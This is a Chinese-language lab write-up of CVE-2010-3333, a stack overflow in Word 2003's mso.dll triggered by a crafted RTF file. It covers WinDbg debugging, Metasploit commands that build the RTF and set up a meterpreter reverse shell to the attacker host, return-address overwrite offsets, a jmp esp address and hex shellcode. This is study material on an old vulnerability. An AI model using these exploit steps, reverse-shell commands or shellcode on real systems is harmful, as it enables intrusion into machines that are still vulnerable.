CVE-2010-3333是《漏洞战争》里讲到的第二个栈溢出漏洞,出现在mso.dll文件上。 我并没有成功地独立写出exp,算是比较可惜的地方。但是在写文章过程中分析了下,大体上算是写出来了😀。
环境描述 攻击者平台:Kali Linux,IP:192.168.56.110 受害者平台:Windows XP SP3,IP:192.168.56.109 软件:Word 2003(关键的mso.dll文件版本为:11.0.8172.0 )
漏洞利用 使用msf6生成利用rtf文件、监听4444端口,在Windows XP SP3 上用 Word 2003 打开文件,Kali Linux上会得到一个shell。
msf6 payload(windows/meterpreter/reverse_tcp ) > use 0
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof ) > set lhost 192.168.56.110
lhost => 192.168.56.110
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof ) > set lport 4444
lport => 4444
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof ) > set target 0
target => 0
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof ) > run
[*] Creating 'msf.rtf' file ...
[+] msf.rtf stored at /home/uzi/.msf4/local/msf.rtf
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof ) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler ) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler ) > set lhost 192.168.56.110
lhost => 192.168.56.110
msf6 exploit(multi/handler ) > set lport 4444
lport => 4444
msf6 exploit(multi/handler ) > run
漏洞成功利用后,Windows XP SP3上Word软件会卡住,不算特别理想。效果如下图:
漏洞分析 windbg 设置 之前一般使用Ollydbg调试windows程序,但分析CVE-2010-3333过程中,主要使用WinDbg调试,感觉体验还挺好。 我自己的WinDbg窗口布局如下,左边分别是汇编代码和命令窗口,右边是内存空间和一个包含函数调用栈、监视器、寄存器值的窗口。其中内存空间设置一行为16个字节,同时取消了自动调整列数的勾选。
调试1、分析故障 运行Windbg,打开Word,然后在Windbg里附加到Word进程,快捷键为F6。附加进程后word会加载一些dll文件,然后中断在int 3
处。
在Kali Linux上使用msf生成调试用的rtf文件,前面的命令将target参数值设置为6即可。搭建简易Python HTTPServer 服务端python3 -m http.server
,在Windows XP上下载文件。
在windbg的Command窗口输入g
,使Word程序接着运行。在Word软件内打开生成的调试rtf文件。 这时会发现Word窗口变灰、失去响应,切换到windbg窗口,发现程序中断在30ed442c
处。
(1e4.2c0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax =0000c8ac ebx =05000000 ecx =000001d1 edx =00000000 esi =1104c174 edi =00130000eip =30ed442c esp =00123e70 ebp =00123ea8 iopl =0 nv up ei pl nz ac pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl =00010216*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll - mso!Ordinal1246+0x16b0: 30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
从上面报错信息可以看出,函数在执行rep movs dword ptr es:[edi],dword ptr [esi]
语句时遇到了异常。
搜索Access violation - code c0000005
,在微软文档 Access Violation C0000005 中指出:当程序读、写或者执行无效的内存地址时会出现错误码c0000005
的异常。
根据上面文档,在WinDbg的Command窗口运行.exr -1
。
0:000> .exr -1 ExceptionAddress: 30ed442c (mso!Ordinal1246+0x000016b0) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 00130000 Attempt to write to address 00130000
根据上面信息,得知程序往0x0013000
写数据时遇到错误。又根据微软文档 Access Violation C0000005 - Read or Write ,知道可以通过!address <address>
查看某一地址的状态。
0:000> !address 00130000 Usage: MemoryMappedFile Allocation Base: 00130000 Base Address: 00130000 End Address: 00133000 Region Size: 00003000 Type: 00040000 MEM_MAPPED State: 00001000 MEM_COMMIT Protect: 00000002 PAGE_READONLY Mapped file name: PageFile
查看发现0x00130000
地址空间Protec
属性为只读。 在30ed442c
处指令含义为,将esi
寄存器指向的数据复制到edi
寄存器中,复制的次数来自ecx
寄存器。指令执行时,尝试往0x00130000
地址空间写数据,导致报错。
30ed442c f3a5 rep movs dword ptr es :[edi ],dword ptr [esi ]
调试2、问题来源 在Windbg中,使用u
命令查看某一地址之后的反汇编代码,ub
则是某一地址之前的反汇编代码。
0 :000 > ub 30ed442cmso!Ordinal1246+0x1697 : 30ed4413 8b4808 mov ecx ,dword ptr [eax +8 ] 30ed4416 81e1ffff0000 and ecx ,0FFFFh 30ed441c 56 push esi 30ed441d 8bf1 mov esi ,ecx 30ed441f 0faf742414 imul esi ,dword ptr [esp +14h ] 30ed4424 037010 add esi ,dword ptr [eax +10h ] 30ed4427 8bc1 mov eax ,ecx 30ed4429 c1e902 shr ecx ,2
发现30ed442c
位于30ed4413
函数中,在IDA的图视图里,发现30ed4413
位于sub_30ED4406
函数内。在IDA中将光标放在sub_30ED4406
上,按快捷键x
查找反向引用,发现未找到,猜测被调用函数地址是动态计算出来的。
在WinDbg里断掉当前程序,重新打开Word程序,附加到进程。在运行前增加断点。
按道理这里可以直接使用WinDbg的Restart功能(快捷键为Ctrl+Shift+F5),程序会断在还没加载mso.dll时,此时还不能下断点,按g
接着运行程序,待mso.dll加载后点击Break按钮(快捷键为Ctrl+Break)中断程序,然后下断点即可。唯一的缺点是保存的窗口布局会没有。 😥
按g
运行程序,在Word打开调试rtf文件,发现程序断在30ed4406
处。
Breakpoint 0 hit eax =30da33d8 ebx =05000000 ecx =00123e98 edx =00000000 esi =014e1100 edi =00124060eip =30ed4406 esp =00123e78 ebp =00123ea8 iopl =0 nv up ei pl zr na pe nccs =001b ss =0023 ds =0023 es =0023 fs =003b gs =0000 efl =00000246mso!Ordinal1246+0x168a: 30ed4406 57 push edi
此时函数调用堆栈为:
0 :000 > kpn WARNING : Stack unwind information not available. Following frames may be wrong.00 00123 ea8 30 f0b56b mso!Ordinal1246+0 x168a01 00123 ed8 30 f0b4f9 mso!Ordinal1273+0 x258102 00124124 30 d4d795 mso!Ordinal1273+0 x250f03 0012414 c 30 d4d70d mso!Ordinal5575+0 xf904 00124150 30 d4d5a8 mso!Ordinal5575+0 x7105 00124154 014 e14dc mso!Ordinal4099+0 xf506 00124158 014 e1514 0 x14e14dc07 0012415 c 014 e13c4 0 x14e151408 00124160 30 dce40c 0 x14e13c409 00124164 00000000 mso!Ordinal2940+0 x1588c
汇编语言中函数调用的逻辑可以参考两篇经典的文章,分别是C语言函数调用栈(一) 、C语言函数调用栈(二) 。
简要的描述函数调用的过程为:
按照从右到左的顺序将被调用函数(callee)的参数压入栈
call 0xdeadbeaf
,将当前函数(caller)的eip压入栈,跳转到被调用函数(caller)执行
push ebp
,被调用函数(callee)将当前函数(caller)的ebp寄存器压入栈
mov ebp,esp
,被调用函数(callee)将当前函数(caller)栈顶指针esp作为被调用函数(caller)栈底指针ebp
被调用函数(callee)规划栈空间,进行相关计算
由于栈平衡,被调用函数运行完成后,栈空间达到第4步状态
此时pop ebp
,将当前函数(callee)的ebp寄存器还原
ret 14h
<==> pop eip; add esp,0x14h
,代码执行重新回到当前函数(callee)
上述函数调用堆栈中30f0b4f9
是返回地址,即当sub_30ED4406
执行完成后,函数会执行30f0b4f9
处代码。
# ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong.00 00123ea8 30f0b56b mso!Ordinal1246+0x168a 01 00123ed8 30f0b4f9 mso!Ordinal1273+0x2581
使用ub 30f0b56b
分析代码是从30f0b5c2
跳转进入sub_30ED4406
的。
0 :000 > ub 30f0b56bmso!Ordinal1273+0x256d : 30f0b557 23c1 and eax ,ecx 30f0b559 50 push eax 30f0b55a 8d47ff lea eax ,[edi -1 ] 30f0b55d 50 push eax 30f0b55e 8b4508 mov eax ,dword ptr [ebp +8 ] 30f0b561 6a00 push 0 30f0b563 ff750c push dword ptr [ebp +0Ch ] 30f0b566 e857000000 call mso!Ordinal1273+0x25d8 (30f0b5c2)
在WinDbg里断掉当前程序,重新打开Word程序,附加到进程。在运行前增加断点30f0b5c2
。🤣
bp 30ED4406 bp 30ed442c bp 30f0b5c2
步进调试至30f0b5f8
处时,跳转至30ed4406
函数,进入函数。
0:000> t eax=30da33d8 ebx=05000000 ecx=00123e98 edx=00000000 esi=014e1100 edi=00124060 eip=30f0b5f8 esp=00123e7c ebp=00123ea8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mso!Ordinal1273+0x260e: 30f0b5f8 ff501c call dword ptr [eax+1Ch] ds:0023:30da33f4=30ed4406
运行至发生栈溢出函数时,各寄存器值如下。即将1104000c
处的数据复制至00123e98
处,复制0x0000322b
个dword。
0:000> t eax=0000c8ac ebx=05000000 ecx=0000c8ac edx=00000000 esi=1104000c edi=00123e98 eip=30ed4429 esp=00123e70 ebp=00123ea8 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 mso!Ordinal1246+0x16ad: 30ed4429 c1e902 shr ecx,2 0:000> t Breakpoint 1 hit eax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=1104000c edi=00123e98 eip=30ed442c esp=00123e70 ebp=00123ea8 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216 mso!Ordinal1246+0x16b0: 30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
esi处数据为:
0:000> db 1104000c 1104000c 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A 1104001c 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab 1104002c 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5 1104003c 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A 1104004c 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac 1104005c 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1 1104006c 41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A 1104007c 64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae
对比调试样本数据与内存数据,可以发现调试样本偏移量0x30
处的2字节为ecx进行移位操作前的值(小端),而esi寄存器指向的内存空间0x1104000c
内容为调试样本中内容,不过样本中的2字节对应内存空间的1字节。
其他调试知识 我在自己琢磨如何编写exp过程中,记录了一些有意思的调试知识,也在这里记录。
断点后自动执行命令、取消断点:bp0 30 ed442c ".echo ============ Before StackOverflow ============; r ;kp; bd0;g;"
监听某一地址的读写操作,如果不成功的话可以在地址的0x
后面加个反引号。ba w4 0 x00123e84 ".echo ------------------;r;db 0x00123e84 L 0x20;g"
IDA界面内按空格键可以快速在图视图和汇编代码视图切换,注释功能十分便捷。
exp编写 覆盖返回地址
查看栈溢出前edi处内存的数据,发现返回地址相较于edi偏移0x14。 即只需要使覆盖的数据大小超过0x14,即可覆盖返回地址。
0 :000 > db edi00123e98 64 ea f7 3 f 00 00 00 05 -00 00 00 00 06 40 00 80 d..?.........@..00123ea8 d8 3 e 12 00 6 b b5 f0 30 -14 40 12 00 00 00 00 00 .>..k..0 .@......00123eb8 ff ff ff ff 00 00 00 00 -f4 14 4 e 01 f8 44 12 00 ..........N..D..00123ec8 64 41 12 00 10 4 f 12 00 -88 41 12 00 00 00 00 00 dA...O...A......00123ed8 bc 40 12 00 f9 b4 f0 30 -60 40 12 00 14 40 12 00 .@.....0 `@...@..00123ee8 00 00 00 00 f4 14 4 e 01 -64 41 12 00 f8 44 12 00 ......N.dA...D..00123ef8 00 00 00 00 ff ff ff ff-ff ff ff ff ff ff ff ff ................00123f08 00 00 00 00 00 00 00 20 -01 01 00 00 00 00 00 00 ....... ........
实际编写exp时我自己遇到的最主要问题是会跳入到许多分支函数内,导致无法退出函数、执行到覆盖的返回地址 。
存在栈溢出的函数30ed4406
在IDA的图视图内结构如下:
汇编代码为:
mov eax , [esp +4 +arg_0]mov ecx , [eax +8 ]and ecx , 0FFFFh push esi mov esi , ecx imul esi , [esp +8 +arg_8]add esi , [eax +10h ]mov eax , ecx shr ecx , 2 rep movsd mov ecx , eax and ecx , 3 rep movsb pop esi pop edi retn 0Ch
栈溢出时esp值为00123e70
,经过pop esi;pop edi;retn 0Ch
后esp的值为0x00123e84
;30ed4406
函数运行完成后,eip的值为30f0b5fb
,而覆盖的返回地址位于00123eac
。即运行完30ed4406
函数并不能执行exp部分代码,需要等到上一层函数sub_30F0B5C2
运行结束后才能获取控制权、执行exp。
0 :000 > reax =0000 c8ac ebx=05000000 ecx=00003226 edx=00000000 esi=11040020 edi=00123 eaceip =30 ed442c esp=00123 e70 ebp=00123 ea8 iopl=0 nv up ei pl nz ac pe nccs =001 b ss=0023 ds=0023 es=0023 fs=003 b gs=0000 efl=00010216 mso !Ordinal1246+0 x16b0:30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0 :000 > db 00123 e7000123e70 00 11 4 e 01 60 40 12 00 -fb b5 f0 30 00 11 4 e 01 ..N.`@.....0 ..N.00123e80 98 3 e 12 00 00 00 00 00 -00 00 00 00 00 00 00 00 .>..............00123e90 00 00 00 00 78 a8 5 c 59 -41 61 30 41 61 31 41 61 ....x.\YAa0Aa1Aa00123ea0 32 41 61 33 41 61 34 41 -61 35 41 61 6 b b5 f0 30 2 Aa3Aa4Aa5Aak..0 00123eb0 14 40 12 00 00 00 00 00 -ff ff ff ff 00 00 00 00 .@..............00123ec0 f4 14 4 e 01 f8 44 12 00 -64 41 12 00 10 4 f 12 00 ..N..D..dA...O..00123ed0 88 41 12 00 00 00 00 00 -bc 40 12 00 f9 b4 f0 30 .A.......@.....0 00123ee0 60 40 12 00 14 40 12 00 -00 00 00 00 f4 14 4 e 01 `@...@........N.
相较于30ed4406
简单的图结构而言,sub_30F0B5C2
要复杂很多。
sub_30F0B5C2
函数中,在跳转至30ed4406
代码后,汇编代码如下:
.text: 30F0B5EE push ecx .text: 30F0B5EF mov ebx , 5000000h .text: 30F0B5F4 push esi .text: 30F0B5F5 mov [ebp +var_C], ebx .text: 30F0B5F8 call dword ptr [eax +1Ch ] .text: 30F0B5FB mov eax , [ebp +arg_C].text: 30F0B5FE push [ebp +arg_10].text: 30F0B601 mov edx , [ebp +var_10].text: 30F0B604 neg eax .text: 30F0B606 sbb eax , eax .text: 30F0B608 lea ecx , [ebp +var_8].text: 30F0B60B and eax , ecx .text: 30F0B60D push eax .text: 30F0B60E push [ebp +arg_0].text: 30F0B611 call sub_30F0B7AF .text: 30F0B616 test al , al .text: 30F0B618 jz loc_30F0B6B6.text: 30F0B61E mov eax , [ebp +var_8].text: 30F0B621 test eax , eax .text: 30F0B623 jnz loc_30F0838C
在30ed4406
函数返回后,代码在30F0B611
处进入sub_30F0B7AF
函数,sub_30F0B7AF
函数结束后进行判断。sub_30F0B7AF函数特别容易崩
30F0B623
代码处根据eax寄存器的值是否为0,判断是否进行跳转:
若跳转,即可直接跳到函数尾部;😁
若跳转,则需要经过左边漫长、复杂的函数框,对于分析来说十分棘手。😣
容易崩的sub_30F0B7AF函数 sub_30F0B7AF
函数开始部分反汇编代码如下:
push ebp mov ebp, esp sub esp, 10h push ebx xor ebx, ebx cmp [ebp+0x10], ebx jz loc_310901D0
上面反汇编代码进行了基础的堆栈设置,同时比较了[ebp+0x10]
是否为0。
参考汇编里函数的调用,在sub_30F0B7AF
中,[ebp+0x10]
为传入的第三个参数。sub_30F0B7AF
函数栈空间布局如下:
Low Address
-------------------- <---- callee EBP
| `Caller ebp` |
| Return Address |
| args1 |
| args2 |
-------------------- <---- callee EBP + 0x10
| args3 |
High Address
函数进入sub_30F0B7AF
前的传参反汇编代码为:
mov [ebp+var_C], ebx ; ebp - 0xC call dword ptr [eax+1Ch] ; 从这里跳转至栈溢出位置函数,30ed4406 mov eax, [ebp+arg_C] push [ebp+arg_10] ; <---------args3 mov edx, [ebp+var_10] neg eax sbb eax, eax lea ecx, [ebp+var_8] and eax, ecx push eax push [ebp+arg_0] call sub_30F0B7AF ; 这里容易崩
实际调试时,sub_30F0B7AF
中,ebp+0x10
为0x00123e84
。
修改调试样本中复制的字节数量为300个。注:这里还做了一个测试,即30ED442C处前面对ecx进行了右移2位操作;实际复制的是dword,4字节大小。即样本中的那两字节对应就是实际复制字节数。hex(300) == 0x012c
重新加载样本,设置如下断点,这里还对各个断点的作用进行了说明,相较于枯燥的Breakpoint X hit
更直观写。
bp0 30ED4406 ".echo ============ 进入存在栈溢出函数 ============; r ;kp; bd0;g;" bp1 30ed442c ".echo ============ 栈溢出代码 ============; r ;kp; bd1;g;" bp2 30f0b5c2 ".echo ============ 进入父函数 ============; r ;kp; bd2;g;" bp3 30F0B5FB ".echo ============ 离开存在栈溢出函数 ============; r ;kp;"
离开栈溢出函数后,进行单步调试。此时栈顶指针esp
为00123e88
,接着代码将00123ec0
处的值压入栈中,即内存中00123e84
的值即为00123ec0
的值,如果此处的值为0,则可以绕过sub_30F0B7AF
中的复杂检验,最终实现跳转到exp控制的返回地址。而00123ec0
在溢出范围内,可控😁。
0:000> t eax=41326241 ebx=05000000 ecx=00000000 edx=00000000 esi=014e1100 edi=00124060 eip=30f0b5fe esp=00123e88 ebp=00123ea8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mso!Ordinal1273+0x2614: 30f0b5fe ff7518 push dword ptr [ebp+18h] ss:0023:00123ec0=62413362 0:000> t eax=41326241 ebx=05000000 ecx=00000000 edx=00000000 esi=014e1100 edi=00124060 eip=30f0b601 esp=00123e84 ebp=00123ea8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mso!Ordinal1273+0x2617: 30f0b601 8b55f0 mov edx,dword ptr [ebp-10h] ss:0023:00123e98=41306141
重新修改rtf文件,将复制字节偏移0x50
字节处的8字节都改成\x30
,重新调试。 (注:偏移位置在内存中为0x28,在文件是内存的两倍,即0x50;而rtf文件中的\x30即对应数字0)
可以看到修改后,上述两处值均变为了全零字节,函数执行至30f0b616
处,eax寄存器值为全零,函数成功返回。
构造exp 可以直接根据上面的信息编写exp,也可以通过反汇编代码计算偏移量。这里选择前者🤣。 此时esp寄存器值为00123ec4
,即从这里开始放置shellcode,然后修改返回地址为跳转到esp指令的地址即可。
jmp esp
的地址是7dc54d90
,直接抄的ERFZE文章Note——CVE-2010-3333 里面的。
0:000> u 7dc54d90 SHELL32!Ordinal185+0x4d4c20: 7dc54d90 ffe4 jmp esp 7dc54d92 e4ff in al,0FFh 7dc54d94 ffe6 jmp esi 7dc54d96 e6ff out 0FFh,al 7dc54d98 ffe7 jmp edi 7dc54d9a e7ff out 0FFh,eax 7dc54d9c ff ??? 7dc54d9d e9e9ffffeb jmp 69c54d8b
使用shell-storm的shellcode 739弹计算器:
"\x31 \xC9 " "\x51 " "\x68 \x63 \x61 \x6C \x63 " "\x54 " "\xB8 \xC7 \x93 \xC2 \x77 " "\xFF \xD0 " ;
没成功😥。
然后又改成了ERFZE文章Note——CVE-2010-3333 里的shellcode。33c050b82e646c6c50b8656c333250b86b65726e508bc450b87b1d807cffd033c050b82e65786550b863616c63508bc46a0550b8ad23867cffd033c050b8faca817cffd0
试了下packetstormsecurity的94002 Win32-XP-SP3-Calc.exe-Shellcode也OK。eb1b5b31c05031c088431353bbad23867cffd331c050bbfaca817cffd3e8e0ffffff636d642e657865202f632063616c632e657865
整体回顾、复盘与总结 虽然一开始我并没有成功写出exp,但是我始终觉得应该把这个经过记录下来。 为了让后面自己看的懂,我写的十分详细。也出于谨慎考虑,尽量将文章做到让我自己满意。 最后算是成功了吧。唯一的遗憾是我没有在Office 2007尝试构造exp,这对我自己来说可以接受。
像是SCZ的下面这条微博一样。